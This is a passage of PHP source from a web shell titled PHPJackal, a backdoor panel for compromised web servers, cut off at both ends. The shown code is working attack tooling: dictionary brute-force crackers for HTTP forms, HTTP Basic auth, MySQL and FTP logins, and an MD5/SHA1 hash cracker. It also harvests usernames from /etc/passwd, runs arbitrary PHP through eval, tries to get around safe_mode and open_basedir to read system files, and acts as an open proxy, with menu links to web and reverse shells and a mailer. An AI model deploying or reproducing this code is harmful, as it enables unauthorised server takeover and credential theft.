$uf=$_REQUEST['userf'];
$pf=$_REQUEST['passf'];
$sf=$_REQUEST['submitf'];
$sv=$_REQUEST['submitv'];
$method=$_REQUEST['method'];
$fail=$_REQUEST['fail'];
$dic=$_REQUEST['dictionary'];
$type=$_REQUEST['combo'];
$user=(!empty($_REQUEST['user']))?$_REQUEST['user']:"";
if(!file_exists($dic)) die("$errorbox Can not open dictionary.$et$footer");
$dictionary=fopen($dic,'r');
echo "<font color=blue>Cracking started...<br>";
while(!feof($dictionary)){
if($type){
$combo=trim(fgets($dictionary)," 

");
$user=substr($combo,0,strpos($combo,':'));
$pass=substr($combo,strpos($combo,':')+1);
}else{
$pass=trim(fgets($dictionary)," 

");
}
$url.="?$uf=$user&$pf=$pass&$sf=$sv";
$res=check_urL($url,$method,$fail,12);
if (!$res){echo "<font color=blue>U: $user P: $pass</font><br>";flusheR();if(!$type)break;}
flusheR();
}
fclose($dictionary);
echo "Done!</font><br>";
}
else echo "<center><table border=0 style=\"border-collapse: collapse\" bordercolor=\"#282828\" width=\"434\"><tr><td width=\"174\" bgcolor=\"#333333\">HTTP Form cracker:</td><td bgcolor=\"#333333\" width=\"253\"></td></tr><form method=\"POST\" name=form><tr><td width=\"174\" bgcolor=\"#666666\">Dictionary:</td><td bgcolor=\"#666666\" width=\"253\"><input type=text name=dictionary size=35></td></tr><tr><td width=\"174\" bgcolor=\"#808080\">Dictionary type:</td><td bgcolor=\"#808080\"><input type=radio name=combo checked value=0 onClick=\"document.form.user.disabled = false;\" style=\"border-width:1px;background-color:#808080;\">Simple (P)<input type=radio value=1 name=combo onClick=\"document.form.user.disabled = true;\" style=\"border-width:1px;background-color:#808080;\">Combo (U:P)</td></tr><tr><td width=\"174\" bgcolor=\"#666666\">Username:</td><td bgcolor=\"#666666\"><input type=text size=35 value=root name=user>$hcwd</td></tr><tr><td width=\"174\" bgcolor=\"#808080\">Action Page:</td><td bgcolor=\"#808080\" width=\"253\"><input type=text name=target value=\"http://".getenv('HTTP_HOST')."/login.php\" size=35></td></tr><tr><td width=\"174\" bgcolor=\"#666666\">Method:</td><td bgcolor=\"#666666\" width=\"253\"><select size=\"1\" name=\"method\"><option selected value=\"POST\">POST</option><option value=\"GET\">GET</option></select></td></tr><tr><td width=\"174\" bgcolor=\"#808080\">Username field name:</td><td bgcolor=\"#808080\" width=\"253\"><input type=text name=userf value=user size=35></td></tr><tr><td width=\"174\" bgcolor=\"#666666\">Password field name:</td><td bgcolor=\"#666666\" width=\"253\"><input type=text name=passf value=passwd size=35></td></tr><tr><td width=\"174\" bgcolor=\"#808080\">Submit name:</td><td bgcolor=\"#808080\" width=\"253\"><input type=text value=login name=submitf size=35></td></tr><tr><td width=\"174\" bgcolor=\"#666666\">Submit value:</td><td bgcolor=\"#666666\" width=\"253\"><input type=text value=\"Login\" name=submitv size=35></td></tr><tr><td width=\"174\" bgcolor=\"#808080\">Fail string:</td><td bgcolor=\"#808080\" width=\"253\"><input type=text name=fail value=\"Try again\" size=35></td></tr><tr><td width=\"174\" bgcolor=\"#666666\"></td><td bgcolor=\"#666666\" align=right width=\"253\"><input class=buttons type=submit name=start value=Start></td></tr></form></table></center>";
}
function hashcrackeR(){
global $errorbox,$t,$et,$hcwd;
if (!empty($_REQUEST['hash']) && !empty($_REQUEST['dictionary']) && !empty($_REQUEST['type'])){
$dictionary=fopen($_REQUEST['dictionary'],'r');
if ($dictionary){
$hash=strtoupper($_REQUEST['hash']);
echo "<font color=blue>Cracking " . htmlspecialchars($hash)."...<br>";flusheR();
$type=($_REQUEST['type']=='MD5')?'md5':'sha1';
while(!feof($dictionary)){
$word=trim(fgets($dictionary)," 

");
if ($hash==strtoupper(($type($word)))){echo "The answer is $word<br>";break;}
}
echo "Done!</font>";
fclose($dictionary);
}
else{
echo "$errorbox Can not open dictionary.$et";
}
}
echo "<center>${t}Hash cracker:</td><td bgcolor=\"#333333\"></td></tr><form method=\"POST\"><tr><td width=\"20%\" bgcolor=\"#666666\">Dictionary:</td><td bgcolor=\"#666666\"><input type=text name=dictionary size=35></td></tr><tr><td width=\"20%\" bgcolor=\"#808080\">Hash:</td><td bgcolor=\"#808080\"><input type=text name=hash size=35></td></tr><tr><td width=\"20%\" bgcolor=\"#666666\">Type:</td><td bgcolor=\"#666666\"><select name=type><option selected value=MD5>MD5</option><option value=SHA1>SHA1</option></select></td></tr><tr><td width=\"20%\" bgcolor=\"#808080\"></td><td bgcolor=\"#808080\" align=right>$hcwd<input class=buttons type=submit value=Start></td></tr></form></table></center>";
}
function pr0xy(){
global $errorbox,$et,$footer,$hcwd;
echo "<table border=0 cellpadding=0 cellspacing=0 style=\"border-collapse: collapse\" bordercolor=\"#282828\" bgcolor=\"#333333\" width=\"100%\"><form method=\"POST\"><tr><td width=\"20%\"><b>Navigator: </b><input type=text name=urL size=140 value=\""; if(!!empty($_REQUEST['urL'])) echo "http://www.edpsciences.org/htbin/ipaddress"; else echo htmlspecialchars($_REQUEST['urL']);echo "\">$hcwd<input type=submit class=buttons value=Go></td></tr></form></table>";
if (!empty($_REQUEST['urL'])){
$dir="";
$u=parse_url($_REQUEST['urL']);
$host=$u['host'];$file=(!empty($u['path']))?$u['path']:'/';
if(substr_count($file,'/')>1)$dir=substr($file,0,(strpos($file,'/')));
$url=@fsockopen($host, 80, $errno, $errstr, 12);
if(!$url)die("<br>$errorbox Can not connect to host!$et$footer");
fputs($url, "GET /$file HTTP/1.0
Accept-Encoding: text
Host: $host
Referer: $host
User-Agent: Mozilla/5.0 (compatible; Konqueror/3.1; FreeBSD)

");
while(!feof($url)){
$con = fgets($url);
$con = str_replace("href=mailto","HrEf=mailto",$con);
$con = str_replace("HREF=mailto","HrEf=mailto",$con);
$con = str_replace("href=\"mailto","HrEf=\"mailto",$con);
$con = str_replace("HREF=\"mailto","HrEf=\"mailto",$con);
$con = str_replace("href=\'mailto","HrEf=\"mailto",$con);
$con = str_replace("HREF=\'mailto","HrEf=\"mailto",$con);
$con = str_replace("href=\"http","HrEf=\"".hlinK("seC=px&urL=http"),$con);
$con = str_replace("HREF=\"http","HrEf=\"".hlinK("seC=px&urL=http"),$con);
$con = str_replace("href=\'http","HrEf=\"".hlinK("seC=px&urL=http"),$con);
$con = str_replace("HREF=\'http","HrEf=\"".hlinK("seC=px&urL=http"),$con);
$con = str_replace("href=http","HrEf=".hlinK("seC=px&urL=http"),$con);
$con = str_replace("HREF=http","HrEf=".hlinK("seC=px&urL=http"),$con);
$con = str_replace("href=\"","HrEf=\"".hlinK("seC=px&urL=http://$host/$dir/"),$con);
$con = str_replace("HREF=\"","HrEf=\"".hlinK("seC=px&urL=http://$host/$dir/"),$con);
$con = str_replace("href=\"","HrEf=\'".hlinK("seC=px&urL=http://$host/$dir/"),$con);
$con = str_replace("HREF=\"","HrEf=\'".hlinK("seC=px&urL=http://$host/$dir/"),$con);
$con = str_replace("href=","HrEf=".hlinK("seC=px&urL=http://$host/$dir/"),$con);
$con = str_replace("HREF=","HrEf=".hlinK("seC=px&urL=http://$host/$dir/"),$con);
echo $con;
}
fclose($url);
}
}
function mysqlclienT(){
global $t,$errorbox,$et,$hcwd;
if (!empty($_REQUEST['serveR']) && !empty($_REQUEST['useR']) && !empty($_REQUEST['pasS']) && !empty($_REQUEST['querY'])){
$server=$_REQUEST['serveR'];$pass=$_REQUEST['pasS'];$user=$_REQUEST['useR'];$query=$_REQUEST['querY'];
if(!empty($_REQUEST['dB']))$db=$_REQUEST['dB'];
$link = @mysql_connect($server,$user,$pass);
if($link){
if (!empty($db))mysql_select_db($db);
$result=mysql_query($query,$link);
echo "${t}Query result(s):$et";
echo "<font color=blue><pre>";
while($data=mysql_fetch_row($result)){
foreach($data as $v) {
echo $v;
echo "	";
}
echo "
";
}
echo "</pre></font>";
mysql_close($link);
}
else{
echo "$errorbox Login failed!$et<br>";
}
}
echo "<center>${t}MySQL cilent:</td><td bgcolor=\"#333333\"></td></tr><form method=\"POST\"><tr><td width=\"20%\" bgcolor=\"#666666\">Server:</td><td bgcolor=\"#666666\"><input type=text value=\"";if (!empty($_REQUEST['server'])) echo htmlspecialchars($_REQUEST['server']);else echo "localhost:3306"; echo "\" name=serveR size=35></td></tr><tr><td width=\"20%\" bgcolor=\"#808080\">Username:</td><td bgcolor=\"#808080\"><input type=text name=useR value=\"";if (!empty($_REQUEST['user'])) echo htmlspecialchars($_REQUEST['user']);else echo "root"; echo "\" size=35></td><tr><td width=\"20%\" bgcolor=\"#666666\">Password:</td><td bgcolor=\"#666666\"><input type=text value=\"";if (!empty($_REQUEST['pass'])) echo htmlspecialchars($_REQUEST['pass']);else echo "123456"; echo "\" name=pasS size=35></td></tr><tr><td width=\"20%\" bgcolor=\"#808080\">Database:</td><td bgcolor=\"#808080\"><input type=text value=\"";if (!empty($_REQUEST['db'])) echo htmlspecialchars($_REQUEST['db']); echo "\" name=dB size=35></td><tr><td width=\"20%\" bgcolor=\"#666666\">Query:</td><td bgcolor=\"#666666\"><textarea name=querY rows=5 cols=27>";if (!empty($_REQUEST['query'])) echo htmlspecialchars(($_REQUEST['query']));else echo "SHOW DATABASES"; echo "</textarea></td></tr></tr><tr><td width=\"20%\" bgcolor=\"#808080\"></td><td bgcolor=\"#808080\" align=right>$hcwd<input class=buttons type=submit value=\"Submit Query\"></td></tr></form></table></center>";
}
function phpevaL(){
global $t,$hcwd;
if (!empty($_REQUEST['code'])){
echo "<center><textarea rows=\"10\" cols=\"64\">";
$code = str_replace("<?php","",$_REQUEST['code']);
$code = str_replace("<?","",$code);
$code = str_replace("?>","",$code);
htmlspecialchars(eval($code));
echo "</textarea></center><br>";
}
echo "<center>${t}Evaler:</td><td bgcolor=\"#333333\"></td></tr><form method=\"POST\"><tr><td width=\"20%\" bgcolor=\"#666666\">Codes:</td><td bgcolor=\"#666666\"><textarea rows=\"10\" name=\"code\" cols=\"64\">";if(!empty($_REQUEST['code']))echo htmlspecialchars($_REQUEST['code']);echo "</textarea></td></tr><tr><td width=\"20%\" bgcolor=\"#666666\"></td><td bgcolor=\"#666666\" align=right>$hcwd<input class=buttons type=submit value=Execute></td></tr></form></table></center>";
}
function whoiS(){
global $t,$hcwd;
if (!empty($_REQUEST['server']) && !empty($_REQUEST['domain'])){
$server =$_REQUEST['server'];
$domain=$_REQUEST['domain']."
";
$ser=fsockopen($server,43,$en,$es,5);
fputs($ser,$domain);
echo "<pre>";
while(!feof($ser))echo fgets($ser);
echo "</pre>";
fclose($ser);
}
else{
echo "<center>${t}Whois:</td><td bgcolor=\"#333333\"></td></tr><form method=\"POST\"><tr><td width=\"20%\" bgcolor=\"#666666\">Server:</td><td bgcolor=\"#666666\"><input type=text value=\"";if (!empty($_REQUEST['server'])) echo htmlspecialchars($_REQUEST['server']);else echo "whois.geektools.com"; echo "\" name=server size=35></td></tr><tr><td width=\"20%\" bgcolor=\"#808080\">domain:</td><td bgcolor=\"#808080\"><input type=text name=domain value=\"";if (!empty($_REQUEST['domain'])) echo htmlspecialchars($_REQUEST['domain']); else echo "google.com"; echo  "\" size=35></td><tr><td bgcolor=\"#666666\"></td><td bgcolor=\"#666666\" align=right>$hcwd<input class=buttons type=submit value=\"Do\"></td></tr></form></table></center>";
}
}
function hexvieW(){
if (!empty($_REQUEST['filE'])){
$f = $_REQUEST['filE'];
echo "<table border=0 style=\"border-collapse: collapse\" bordercolor=\"#282828\" width=\"100%\"><td width=\"10%\" bgcolor=\"#282828\">Offset</td><td width=\"25%\" bgcolor=\"#282828\">Hex</td><td width=\"25%\" bgcolor=\"#282828\"></td><td width=\"40%\" bgcolor=\"#282828\">ASCII</td></tr>";
$file = fopen($f,"r");
$i= -1;
while (!feof($file)) {
$ln='';
$i++;
echo "<tr><td width=\"10%\" bgcolor=\"#";
if ($i % 2==0) echo "666666";else echo "808080";
echo "\">";echo str_repeat("0",(8-strlen($i * 16))).$i * 16;echo "</td>";
echo "<td width=\"25%\" bgcolor=\"#";
if ($i % 2==0) echo "666666";else echo "808080"; 
echo "\">";
for ($j=0;$j<=7;$j++){
if (!feof($file)){
$tmp = strtoupper(dechex(ord(fgetc($file))));
if (strlen($tmp)==1) $tmp = "0".$tmp;
echo $tmp." ";
$ln.=$tmp;
}
}
echo "</td><td width=\"25%\" bgcolor=\"#";
if ($i % 2==0) echo "666666";else echo "808080"; 
echo "\">";
for ($j=7;$j<=14;$j++){
if (!feof($file)){
$tmp = strtoupper(dechex(ord(fgetc($file))));
if (strlen($tmp)==1) $tmp = "0".$tmp;
echo $tmp." ";
$ln.=$tmp;
}
}
echo "</td><td width=\"40%\" bgcolor=\"#";
if ($i % 2==0) echo "666666";else echo "808080";
echo "\">";
$n=0;$asc="";$co=0;
for ($k=0;$k<=16;$k++){
$co=hexdec(substr($ln,$n,2));
if (($co<=31)||(($co>=127)&&($co<=160)))$co=46;
$asc.= chr($co);
$n+=2;
}
echo htmlspecialchars($asc);
echo "</td></tr>";
}
}
fclose($file);
echo "</table>";
}
function safemodE(){
global $windows,$t,$hcwd;
if (!empty($_REQUEST['file'])){
$i=1;
echo "<pre>
<font color=green>Method $i:(ini_restore)</font><font color=blue>
";
ini_restore("safe_mode");ini_restore("open_basedir");
$tmp = file_get_contents($_REQUEST['file']);
echo $tmp;
$i++;
echo "
</font><font color=green>Method $i:(copy)</font><font color=blue>
";
$tmp=tempnam("","cx");
copy("compress.zlib://".$_REQUEST['file'], $tmp);
$fh = fopen($tmp, "r");
$data = fread($fh, filesize($tmp));
fclose($fh);
echo $data;
$i++;
if(function_exists("curl_init")){
echo "
</font><font color=green>Method $i:(curl_init)[A]</font><font color=blue>
";
$fh = @curl_init("file://".$_REQUEST['file']."");
$tmp = @curl_exec($fh);
echo $tmp;
$i++;
echo "
</font><font color=green>Method $i:(curl_init)[B]</font><font color=blue>
";
$i++;
if(strstr($_REQUEST['file'],DIRECTORY_SEPARATOR))
$ch =curl_init("file:///".$_REQUEST['file']."/../../../../../../../../../../../../".__FILE__);
else $ch = curl_init("file://".$_REQUEST['file']."".__FILE__);
curl_exec($ch);
var_dump(curl_exec($ch));
}
if($_REQUEST['file'] == "/etc/passwd"){
echo "
</font><font color=green>Method $i:(posix)</font><font color=blue>
";
for($uid=0;$uid<99999;$uid++){
$h=posix_getpwuid($uid);
if (!empty($h))foreach($h as $v)echo "$v:";}}
$i++;
echo "</pre></font>";
}
echo "<center>${t}Anti Safe-Mode:</td><td bgcolor=\"#333333\"></td></tr><form method=\"POST\"><tr><td width=\"20%\" bgcolor=\"#666666\">File:</td><td bgcolor=\"#666666\"><input type=text value=\"";if (!empty($_REQUEST['file'])) echo htmlspecialchars($_REQUEST['file']);elseif(!$windows) echo "/etc/passwd"; echo "\" name=file size=35></td></tr><tr><td bgcolor=\"#808080\"></td><td bgcolor=\"#808080\" align=right>$hcwd<input class=buttons type=submit value=\"Read\"></td></tr></form></table></center>";
}
function crackeR(){
global $et;
$cwd = getcwd();
echo "<center><table border=0 bgcolor=#333333><tr><td><a href=\"".hlinK("seC=hc&workingdiR=$cwd")."\">[Hash]</a> - <a href=\"".hlinK("seC=smtp&workingdiR=$cwd")."\">[SMTP]</a> - <a href=\"".hlinK("seC=pop3&workingdiR=$cwd")."\">[POP3]</a> - <a href=\"".hlinK("seC=imap&workingdiR=$cwd")."\">[IMAP]</a> - <a href=\"".hlinK("seC=ftp&workingdiR=$cwd")."\">[FTP]</a> - <a href=\"".hlinK("seC=snmp&workingdiR=$cwd")."\">[SNMP]</a> - <a href=\"".hlinK("seC=sql&workingdiR=$cwd")."\">[MySQL]</a> - <a href=\"".hlinK("seC=fcr&workingdiR=$cwd")."\">[HTTP form]</a> - <a href=\"".hlinK("seC=auth&workingdiR=$cwd")."\">[HTTP Auth(basic)]</a> - <a href=\"".hlinK("seC=dic&workingdiR=$cwd")."\">[Dictionary maker]</a>$et</center>";
}
function dicmakeR(){
global $errorbox,$windows,$footer,$t,$et,$hcwd;
if (!empty($_REQUEST['combo'])&&($_REQUEST['combo']==1)) $combo=1 ; else $combo=0;
if (!empty($_REQUEST['range']) && !empty($_REQUEST['output']) && !empty($_REQUEST['min']) && !empty($_REQUEST['max'])){
$min = $_REQUEST['min'];
$max = $_REQUEST['max'];
if($max<$min)die($errorbox ."Bad input!$et". $footer);
$s =$w="";
$out = $_REQUEST['output'];
$r = ($_REQUEST['range']=='a' )?'a':'A';
if ($_REQUEST['range']==0) $r=0;
for($i=0;$i<$min;$i++) $s.=$r;
$dic = fopen($out,'a');
if(is_nan($r)){
while(strlen($s)<=$max){
$w = $s;
if($combo)$w="$w:$w";
fwrite($dic,$w."
");
$s++;}
}
else{
while(strlen($w)<=$max){
$w =(string)str_repeat("0",($min - strlen($s))).$s;
if($combo)$w="$w:$w";
fwrite($dic,$w."
");
$s++;}
}
fclose($dic);
echo "<font color=blue>Done</font>";
}
if (!empty($_REQUEST['input']) && !empty($_REQUEST['output'])){
$input=fopen($_REQUEST['input'],'r');
if (!$input){
if ($windows)echo $errorbox. "Unable to read from ".htmlspecialchars($_REQUEST['input']) ."$et<br>";
else{
$input=explode("
",shelL("cat $input"));
$output=fopen($_REQUEST['output'],'w');
if ($output){
foreach ($input as $in){
$user = $in;
$user = trim(fgets($in)," 

");
if (!strstr($user,":"))continue;
$user=substr($user,0,(strpos($user,':')));
if($combo) fwrite($output,$user.":".$user."
"); else fwrite($output,$user."
");
}
fclose($input);fclose($output);
echo "<font color=blue>Done</font>";
}
}
}
else{
$output=fopen($_REQUEST['output'],'w');
if ($output){
while (!feof($input)){
$user = trim(fgets($input)," 

");
if (!strstr($user,":"))continue;
$user=substr($user,0,(strpos($user,':')));
if($combo) fwrite($output,$user.":".$user."
"); else fwrite($output,$user."
");
}
fclose($input);fclose($output);
echo "<font color=blue>Done</font>";
}
else echo $errorbox." Unable to write data to ".htmlspecialchars($_REQUEST['input']) ."$et<br>";
}
}elseif (!empty($_REQUEST['url']) && !empty($_REQUEST['output'])){
$res=downloadiT($_REQUEST['url'],$_REQUEST['output']);
if($combo && $res){
$file=file($_REQUEST['output']);
$output=fopen($_REQUEST['output'],'w');
foreach ($file as $v)fwrite($output,"$v:$v
");
fclose($output);
}
echo "<font color=blue>Done</font>";
}else{
$temp=whereistmP();
echo "<center>${t}Wordlist generator:</td><td bgcolor=\"#333333\"></td></tr><form method=\"POST\"><tr><td width=\"20%\" bgcolor=\"#666666\">Range:</td><td bgcolor=\"#666666\"><select name=range><option value=a>a-z</option><option value=Z>A-Z</option><option value=0>0-9</option></select></td></tr><tr><td width=\"20%\" bgcolor=\"#808080\">Min lenght:</td><td bgcolor=\"#808080\"><select name=min><option value=1>1</option><option value=2>2</option><option value=3>3</option><option value=4>4</option><option value=5>5</option><option value=6>6</option><option value=7>7</option><option value=8>8</option><option value=9>9</option><option value=10>10</option></select></td></tr><tr><td width=\"20%\" bgcolor=\"#666666\">Max lenght:</td><td bgcolor=\"#666666\"><select name=max><option value=2>2</option><option value=3>3</option><option value=4>4</option><option value=5>5</option><option value=6>6</option><option value=7>7</option><option value=8 selected>8</option><option value=9>9</option><option value=10>10</option><option value=11>11</option><option value=12>12</option><option value=13>13</option><option value=14>14</option><option value=15>15</option></select></td></tr><tr><td width=\"20%\" bgcolor=\"#808080\">Output:</td><td bgcolor=\"#808080\"><input type=text value=\"$temp/.dic\" name=output size=35></td></tr><tr><td width=\"20%\" bgcolor=\"#666666\"></td><td bgcolor=\"#666666\"><input type=checkbox name=combo style=\"border-width:1px;background-color:#666666;\" value=1 checked>Combo style output</td></tr><td bgcolor=\"#808080\"></td><td bgcolor=\"#808080\" align=right>$hcwd<input class=buttons type=submit value=Make></td></tr></form></table><br>${t}Grab dictionary:</td><td bgcolor=\"#333333\"></td></tr><form method=\"POST\"><tr><td width=\"20%\" bgcolor=\"#666666\">Grab from:</td><td bgcolor=\"#666666\"><input type=text value=\"/etc/passwd\" name=input size=35></td></tr><tr><td width=\"20%\" bgcolor=\"#808080\">Output:</td><td bgcolor=\"#808080\"><input type=text value=\"$temp/.dic\" name=output size=35></td></tr><tr><td width=\"20%\" bgcolor=\"#666666\"></td><td bgcolor=\"#666666\"><input type=checkbox style=\"border-width:1px;background-color:#666666;\" name=combo value=1 checked>Combo style output</td></tr><td bgcolor=\"#808080\"></td><td bgcolor=\"#808080\" align=right>$hcwd<input class=buttons type=submit value=Grab></td></tr></form></table><br>${t}Download dictionary:</td><td bgcolor=\"#333333\"></td></tr><form method=\"POST\"><tr><td width=\"20%\" bgcolor=\"#666666\">URL:</td><td bgcolor=\"#666666\"><input type=text value=\"http://vburton.ncsa.uiuc.edu/wordlist.txt\" name=url size=35></td></tr><tr><td width=\"20%\" bgcolor=\"#808080\">Output:</td><td bgcolor=\"#808080\"><input type=text value=\"$temp/.dic\" name=output size=35></td></tr><tr><td width=\"20%\" bgcolor=\"#666666\"></td><td bgcolor=\"#666666\"><input type=checkbox style=\"border-width:1px;background-color:#666666;\" name=combo value=1 checked>Combo style output</td></tr><tr><td bgcolor=\"#808080\"></td><td bgcolor=\"#808080\" align=right>$hcwd<input class=buttons type=submit value=Get></td></tr></form></table></center>";}
}
function calC(){
global $t,$et,$hcwd;
$fu = array('-','md5','sha1','crc32','hex','ip2long','long2ip','base64_encode','base64_decode','urldecode','urlencode');
if (!empty($_REQUEST['input']) && (in_array($_REQUEST['to'],$fu))){
echo "<center>${t}Output:<br><textarea rows=\"10\" cols=\"64\">";
if($_REQUEST['to']!='hex')echo $_REQUEST['to']($_REQUEST['input']);else for($i=0;$i<strlen($_REQUEST['input']);$i++)echo strtoupper(dechex(ord($_REQUEST['input']{$i})));
echo "</textarea>$et</center><br>";
}
echo "<center>${t}Convertor:</td><td bgcolor=\"#333333\"></td></tr><form method=\"POST\"><tr><td width=\"20%\" bgcolor=\"#666666\">Input:</td><td bgcolor=\"#666666\"><textarea rows=\"10\" name=\"input\" cols=\"64\">";if(!empty($_REQUEST['input']))echo htmlspecialchars($_REQUEST['input']);echo "</textarea></td></tr><tr><td width=\"20%\" bgcolor=\"#808080\">Task:</td><td bgcolor=\"#808080\"><select size=1 name=to><option value=md5>MD5</option><option value=sha1>SHA1</option><option value=crc32>crc32</option><option value=ip2long>IP to long</option><option value=long2ip>Long to IP</option><option value=hex>HEX</option><option value=urlencode>URL encoding</option><option value=urldecode>URL decoding</option><option value=base64_encode>Base64 encoding</option><option value=base64_decode>Base64 decoding</option></select></td><tr><td width=\"20%\" bgcolor=\"#666666\"></td><td bgcolor=\"#666666\" align=right><input class=buttons type=submit value=Convert></td></tr>$hcwd</form></table></center>";
}
function authcrackeR(){
global $errorbox,$et,$t,$crack,$hcwd;
if(!empty($_REQUEST['target']) && !empty($_REQUEST['dictionary'])){
$data='';
$method=($_REQUEST['method'])?'POST':'GET';
if(strstr($_REQUEST['target'],'?')){$data=substr($_REQUEST['target'],strpos($_REQUEST['target'],'?')+1);$_REQUEST['target']=substr($_REQUEST['target'],0,strpos($_REQUEST['target'],'?'));}
spliturL($_REQUEST['target'],$host,$page);
$type=$_REQUEST['combo'];
$user=(!empty($_REQUEST['user']))?$_REQUEST['user']:"";
if($method='GET')$page.=$data;
$dictionary=fopen($_REQUEST['dictionary'],'r');
echo "<font color=blue>";
while(!feof($dictionary)){
if($type){
$combo=trim(fgets($dictionary)," 

");
$user=substr($combo,0,strpos($combo,':'));
$pass=substr($combo,strpos($combo,':')+1);
}else{
$pass=trim(fgets($dictionary)," 

");
}
$so=fsockopen($host,80,$en,$es,5);
if(!$so){echo "$errorbox Can not connect to host$et";break;}
else{
$packet="$method /$page HTTP/1.0
Accept-Encoding: text
Host: $host
Referer: $host
Connection: Close
Authorization: Basic ".base64_encode("$user:$pass");
if($method=='POST')$packet.="Content-Type: application/x-www-form-urlencoded
Content-Length: ".strlen($data);
$packet.="

";
$packet.=$data;
fputs($so,$packet);
$res=substr(fgets($so),9,2);
fclose($so);
if($res=='20')echo "U: $user P: $pass</br>";
flusheR();
}
}
echo "Done!</font>";
}else echo "<center><form method=\"POST\" name=form>${t}HTTP Auth cracker:</td><td bgcolor=\"#333333\"><select name=method><option value=1>POST</option><option value=0>GET</option></select></td></tr><tr><td width=\"20%\" bgcolor=\"#666666\">Dictionary:</td><td bgcolor=\"#666666\"><input type=text name=dictionary size=35></td></tr><tr><td width=\"20%\" bgcolor=\"#808080\">Dictionary type:</td><td bgcolor=\"#808080\"><input type=radio name=combo checked value=0 onClick=\"document.form.user.disabled = false;\" style=\"border-width:1px;background-color:#808080;\">Simple (P)<input type=radio value=1 name=combo onClick=\"document.form.user.disabled = true;\" style=\"border-width:1px;background-color:#808080;\">Combo (U:P)</td></tr><tr><td width=\"20%\" bgcolor=\"#666666\">Username:</td><td bgcolor=\"#666666\"><input type=text size=35 value=root name=user></td></tr><tr><td width=\"20%\" bgcolor=\"#808080\">Server:</td><td bgcolor=\"#808080\"><input type=text name=target value=localhost size=35></td></tr><tr><td width=\"20%\" bgcolor=\"#666666\"></td><td bgcolor=\"#666666\" align=right>$hcwd<input class=buttons type=submit value=Start></td></tr></form></table></center>";
}
function sqlcrackeR(){
global $errorbox,$t,$et,$crack;
if (!function_exists("mysql_connect")){
echo "$errorbox Server does n`t support MySQL$et";
}
else{
if (!empty($_REQUEST['target']) && !empty($_REQUEST['dictionary'])){
$target=$_REQUEST['target'];
$type=$_REQUEST['combo'];
$user=(!empty($_REQUEST['user']))?$_REQUEST['user']:"";
$dictionary=fopen($_REQUEST['dictionary'],'r');
if ($dictionary){
echo "<font color=blue>Cracking ".htmlspecialchars($target)."...<br>";
while(!feof($dictionary)){
if($type){
$combo=trim(fgets($dictionary)," 

");
$user=substr($combo,0,strpos($combo,':'));
$pass=substr($combo,strpos($combo,':')+1);
}else{
$pass=trim(fgets($dictionary)," 

");
}
$sql=@mysql_connect($target,$user,$pass);
if($sql){echo "U: $user P: $pass (<a href=\"".hlinK("seC=mysql&serveR=$target&useR=$user&pasS=$pass&querY=SHOW+DATABASES&workingdiR=".getcwd())."\">Connect</a>)<br>";mysql_close($sql);if(!$type)break;}
flusheR();
}
echo "<br>Done</font>";
fclose($dictionary);
}
else{
echo "$errorbox Can not open dictionary.$et";
}
}
else{
echo "<center>${t}MySQL cracker:$crack";
}
}
}
function ftpcrackeR(){
global $errorbox,$t,$et,$crack;
if (!function_exists("ftp_connect"))echo "$errorbox Server does n`t support FTP functions$et";
else{
if (!empty($_REQUEST['target']) && !empty($_REQUEST['dictionary'])){
$target=$_REQUEST['target'];
$type=$_REQUEST['combo'];
$user=(!empty($_REQUEST['user']))?$_REQUEST['user']:"";
$dictionary=fopen($_REQUEST['dictionary'],'r');
if ($dictionary){
echo "<font color=blue>Cracking ".htmlspecialchars($target)."...<br>";
while(!feof($dictionary)){
if($type){
$combo=trim(fgets($dictionary)," 

");
$user=substr($combo,0,strpos($combo,':'));
$pass=substr($combo,strpos($combo,':')+1);
}else{
$pass=trim(fgets($dictionary)," 

");
}
if(!$ftp=ftp_connect($target,21,8)){echo "$errorbox Can not connect to server.$et";break;}
if (@ftp_login($ftp,$user,$pass)){echo "U: $user P: $pass<br>";if(!$type)break;}
ftp_close($ftp);
flusheR();
}
echo "<br>Done</font>";
fclose($dictionary);
}
else{
echo "$errorbox Can not open dictionary.$et";
}
}
else echo "<center>${t}FTP cracker:$crack";
}}
function openiT($name){
$ext=strtolower(substr($name,strrpos($name,'.')+1));
$src=array('php','php3','php4','phps','phtml','phtm','inc');
if(in_array($ext,$src))highlight_file($name);
else echo "<font color=blue><pre>".htmlspecialchars(file_get_contents($name))."</pre></font>";
}
function logouT(){
setcookie('passw','',time()-10000);
header('Location: '.hlinK());
}
?>
<html>
<head>
<style>body{scrollbar-base-color: #484848; scrollbar-arrow-color: #FFFFFF; scrollbar-track-color: #969696;font-size:16px;font-family:"Arial Narrow";}Table { font-size: 15px; } .buttons{font-family:Verdana;font-size:10pt;font-weight:normal;font-style:normal;color:#FFFFFF;background-color:#555555;border-style:solid;border-width:1px;border-color:#FFFFFF;}textarea{border: 0px #000000 solid;background: #EEEEEE;color: #000000;}input{background: #EEEEEE;border-width:1px;border-style:solid;border-color:black}select{background: #EEEEEE; border: 0px #000000 none;}</style>
<meta http-equiv="Content-Language" content="en-us">
<title>PHPJackal</title>
</head><body text="#E2E2E2" bgcolor="#C0C0C0" link="#DCDCDC" vlink="#DCDCDC" alink="#DCDCDC">
<table border="0" cellpadding="0" cellspacing="0" style="border-collapse: collapse" bordercolor="#282828" bgcolor="#333333" width="100%">
<tr><td><a href=javascript:history.back(1)>[Back]</a> - <a href="<?php $cwd= getcwd(); echo hlinK("seC=sysinfo&workingdiR=$cwd");?>">[Info]</a> - <a href="<?php echo hlinK("seC=fm&workingdiR=$cwd");?>">[File manager]</a> - <a href="<?php echo hlinK("seC=edit&workingdiR=$cwd");?>">[Editor]</a> - <a href="<?php echo hlinK("seC=webshell&workingdiR=$cwd");?>">[Web shell]</a> - <a href="<?php echo hlinK("seC=br&workingdiR=$cwd");?>">[B/R shell]</a> - <a href="<?php echo hlinK("seC=asm&workingdiR=$cwd");?>">[Safe-mode]</a> - <a href="<?php echo hlinK("seC=mysql&workingdiR=$cwd"); ?>">[SQL]</a> - <a href="<?php echo hlinK("seC=mailer&workingdiR=$cwd"); ?>">[Mailer]</a> - <a href="<?php echo hlinK("seC=eval&workingdiR=$cwd");?>">[Evaler]</a> - <a href="<?php echo hlinK("seC=sc&workingdiR=$cwd"); ?>">[Scanners]</a> - <a href="<?php echo hlinK("seC=cr&workingdiR=$cwd");?>">[Crackers]</a> - <a href="<?php echo hlinK("seC=px&workingdiR=$cwd");?>">[Pr0xy]</a> - <a href="<?php echo hlinK("seC=whois&workingdiR=$cwd");?>">[Whois]</a> - <a href="<?php echo 